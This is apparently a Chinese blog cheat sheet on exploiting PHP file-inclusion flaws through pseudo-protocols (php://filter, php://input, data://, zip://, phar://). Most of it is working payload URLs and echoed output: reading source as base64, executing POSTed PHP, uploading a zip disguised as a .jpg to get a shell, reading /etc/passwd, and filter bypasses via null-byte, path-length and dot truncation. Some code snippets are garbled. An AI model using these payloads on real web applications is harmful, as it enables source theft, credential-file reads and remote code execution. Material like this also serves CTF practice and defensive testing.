php伪协议

php伪协议

相关知识

文件读取相关函数

  • include
  • require
  • include_once
  • require_once
  • highlight_file
  • show_source
  • readfile
  • file_get_contents
  • fopen
  • file

file://协议

  • allow_url_fopen:off/on
  • allow_url_include:off/on
  • 双off状态也能使用,用于读取本地文件
  • 语法:file://C:/flag.txt
  • file=php://input post写入:

php://协议

php://filter

  • 用于读取源码并进行base64编码输出

  • php.ini 在双off情况下也能正常使用

  • 语法:php://filter/read=convert.base64-encode/resource=./flag.php

    1、访问http://localhost:88/test.php?file=php://input
    POST:php://filter/read=convert.base64-encode/resource=1.php
    回显结果:php://filter/read=convert.base64-encode/resource=1.php
    POST:<?php phpinfo();?>
    回显结果:phpinfo()执行的结果
    
    2、访问http://localhost:88/test.php?file=php://filter/read=convert.base64-encode/resource=1.php 
    回显结果:PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=
    
    3、访问http://localhost:88/test.php?file=php://filter//resource=1.php
    回显结果:phpinfo()执行的结果
    
    4、访问http://localhost:88/test.php?file=PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=(可以是其他任意字符,这里我只是想和第二种情况好比较)
    回显结果:Warning: include(PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=): failed to open stream: No such file or directory in C:\phpStudy\WWW\test.php on line 2
    

php://input

  • 访问请求原始数据只读流,将post请求的数据作为PHP执行。
  • php.ini allow_url_include:on 需要为on状态才可以执行
  • 语法:php://input --POST输入'); ?>
  • 或者 $line){ echo "Line #{$line_num} : ",$line,' ';} ?>

\(file = fopen("a1.php","w"); echo fputs(\)file,""); fclose($file); ?>

zip://、bzip://、zlib://

  • php.ini 在双off下也可以使用
  • 属于压缩流,可以访问压缩文件中的自文件,不需要指定后缀名。
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
  • zip://D:/soft/phpstudy/www/file.jpg%23phpcode.txt

    访问http://localhost:88/test.php?file=zip://C:/phpStudy/WWW/test.jpg%23即可getshell
    
  • 先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

compress.bzip2://file.bz2
  • compress.bzip2://D:/soft/phpstudy/www/file.jpg or compress.bzip2://./file.jpg
compress.zlib://file.gz
  • compress.zlib://D:/soft/phpStudy/WWW/file.jpg or compress.zlib://./file.jpg

data://协议

  • php.ini 必须双on才能使用

  • 语法:

    data://text/plain,<?php phpinfo()?> 
    data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 
    data:text/plain,<?php phpinfo()?> 
    data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
    
  • data://text/plain;cgarset=utf-8,

phar反序列化

stub基本结构
  • php.ini文件中phar.readonly=Off,不然无法生成phar文件。

  • 这种和zip伪协议差不多,用法有一点点区别一个是“#”,一个是“/”
    phar://archive.zip/dir/file.txt

    同理访问http://localhost:88/test.php?file=phar://C:/phpStudy/WWW/test.jpg/即可getshell
    

利用zip或phar伪协议读取压缩包中的文件

  • phar://./images/1499394959.jpg/1.php
    zip://./images/1499394959.jpg%231.php
    文件压缩后,改成jpg格式,文件名以md5加密访问,zip访问需要#

绕过waf方法

  • ?f=php://filter/convert.base64-encode/resource=login.php(过滤了操作名read)
  • ?f=php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)
  • ?f=data:text/plain,
  • ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
  • %00截断 /etc/passwd%00
  • 路径长度截断: /etc/passwd/././././././.[…]/./././././.
  • 点号截断: /boot.ini/………[…]…………
posted @ 2022-06-13 09:49  Rlins  阅读(50)  评论(0)    收藏  举报